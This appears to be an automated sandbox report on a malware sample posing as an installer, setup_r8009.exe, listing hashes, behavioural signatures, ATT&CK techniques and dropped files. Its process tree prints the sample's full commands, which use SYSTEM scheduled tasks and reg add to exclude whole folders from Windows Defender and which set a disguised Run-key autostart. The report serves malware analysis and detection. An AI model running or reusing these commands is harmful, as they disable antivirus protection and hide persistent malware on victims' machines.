Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
05/08/2026, 12:28
Static task
static1
Behavioral task
behavioral1
Sample
setup_r8009.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
setup_r8009.exe
Resource
win11ltsc2024-20260709-en
General
- Target setup_r8009.exe
- Size 61.7MB
- Sample260805-pnppfsssfs
- SHA256 3874da00c4e8b2604be99f75d94be57088107211536fb262debcbe56fdd8c542
- MD5 07af03ff16227d3a09217b82b2257d84
- SHA1 5abb23e829284c49c9e4bbba3a00f9b406938222
- SHA512 7cff4621a138dcd9d398248c1c60d5c9464f2292fd6ba153de2b46cf11499852e3c52010484dfe12e42a839aa9dc2b99fe3e6acec9f4b8c349845938ba6f929d
- SSDEEP 98304:euj9nmW2eUAAq4gm4mNSh6q+luaePvl8/bbJtF0gofLzXQQ7QfM3rM:PRnmW2s/m3xq9a2l8/QX9EfM3rM
- TLSH T174E78216B74289CEE076A238944B8F51E336E9704A71933723B5735D1FFE38C8EA6149
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\OTBm4v = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation pkhmWW.exe - Executes dropped EXE 2 IoCs
pid Process 5888 pkhmWW.exe 4896 pkhmWW.exe - Loads dropped DLL 2 IoCs
pid Process 5888 pkhmWW.exe 4896 pkhmWW.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\OTBm4v\\pkhmWW.exe\"" pkhmWW.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 1552 cmd.exe 956 cmd.exe 4472 cmd.exe 3848 cmd.exe 3244 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b pkhmWW.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 620 cmd.exe 3952 cmd.exe 1508 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5024 schtasks.exe 824 schtasks.exe 3520 schtasks.exe 3940 schtasks.exe 1556 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 4308 setup_r8009.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe 5888 pkhmWW.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 660 Process not Found 660 Process not Found 660 Process not Found - Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 5888 wrote to memory of 3848 5888 pkhmWW.exe 102 PID 3848 wrote to memory of 5024 3848 cmd.exe 105 PID 3848 wrote to memory of 3468 3848 cmd.exe 106 PID 5888 wrote to memory of 3244 5888 pkhmWW.exe 109 PID 3848 wrote to memory of 2704 3848 cmd.exe 112 PID 3244 wrote to memory of 824 3244 cmd.exe 113 PID 3244 wrote to memory of 5100 3244 cmd.exe 115 PID 3244 wrote to memory of 4296 3244 cmd.exe 116 PID 5888 wrote to memory of 1552 5888 pkhmWW.exe 117 PID 1552 wrote to memory of 3520 1552 cmd.exe 119 PID 3952 wrote to memory of 4656 3952 cmd.exe 120 PID 5888 wrote to memory of 956 5888 pkhmWW.exe 121 PID 1552 wrote to memory of 2916 1552 cmd.exe 123 PID 1552 wrote to memory of 4684 1552 cmd.exe 125 PID 956 wrote to memory of 3940 956 cmd.exe 126 PID 956 wrote to memory of 4104 956 cmd.exe 128 PID 956 wrote to memory of 4912 956 cmd.exe 129 PID 1508 wrote to memory of 1560 1508 cmd.exe 130 PID 5888 wrote to memory of 4472 5888 pkhmWW.exe 131 PID 4472 wrote to memory of 1556 4472 cmd.exe 133 PID 4472 wrote to memory of 412 4472 cmd.exe 134 PID 4472 wrote to memory of 4392 4472 cmd.exe 136 PID 620 wrote to memory of 4588 620 cmd.exe 138 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_r8009.exe"C:\Users\Admin\AppData\Local\Temp\setup_r8009.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4308
-
C:\Users\Public\OTBm4v\pkhmWW.exeC:\Users\Public\OTBm4v\pkhmWW.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5888 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\OTBm4v\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3848 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\OTBm4v\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5024
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3468
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2704
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3244 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:824
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5100
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4296
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1552 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3520
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2916
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4684
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:956 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3940
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4104
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4912
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4472 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1556
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:412
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4392
-
-
-
C:\Users\Public\OTBm4v\pkhmWW.exe"C:\Users\Public\OTBm4v\pkhmWW.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4896
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\OTBm4v" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3952 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\OTBm4v" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4656
-
-
C:\Windows\system32\cmd.execmd.exe1⤵PID:4224
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1508 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1560
-
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:620 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4588
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\OTBm4v\UxEnhance64.dll
- Size 3.1MB
- SHA256 da687197bb36a84d12cf3fc84b1b476e479aaf787395de6590da2d48a8987803
- MD5 32c92d59cc5f37a8a43b550ad341365b
- SHA1 f789cdead7258ce0095035e099e7846c0ec7f763
- SHA512 2893c8c67fe03f3a9dcc1c3bbedab1ff59cde4457c234f0af167484bc1234000414783aca2139fdcccbd83dfba7674e54e8319c0c8eaa2d8f320ae1fdaaa59cd
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+1:P9m29xx3Tiqt06ox6+z2rNNrKo1
- TLSH T109E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\OTBm4v\adoresd.dat
- Size 4.7MB
- SHA256 af029df7f964723bf2ee4edc268dfe5af09884faf584f0b2ee8a9b5fba202191
- MD5 6b54a68878e80860e42cc0815119dab4
- SHA1 dcd89580ec5f7ccdb7517a0389b5712cc55c5fc0
- SHA512 feb158e805f37e6984fa37decbb5f7db8431ba38abd646a180a60ba86835677f2d6e01aca00b9dd48d366a962042154bb003c79fe2e6afcb4c14d71b6d1e7de6
- SSDEEP 98304:vmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:+u1SwOflfZPF6Ma0bsoa5+qd
- TLSH T17C3633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\OTBm4v\msadox.tb
- Size 8KB
- SHA256 7481309b0b530f47988dfd1407f0579398d7753cab50b5e490305452d6065629
- MD5 7076e66570516b00e1af8c8ba1602ed9
- SHA1 97b8431a5e4eddae4454d09749995a1658da8310
- SHA512 28180a9e7d776e4137aa4bc8c593ecbbea89562c979ff4128a19cbf1efc1b2c1cb3a8a289733ed73a11d0c2fa2a6ad8bb6be2237436388fda73263961079a352
- SSDEEP 192:CxqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:CxsZqZOXQ3uqvR2Kfzp
- TLSH T194029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072ED2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\OTBm4v\pkhmWW.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH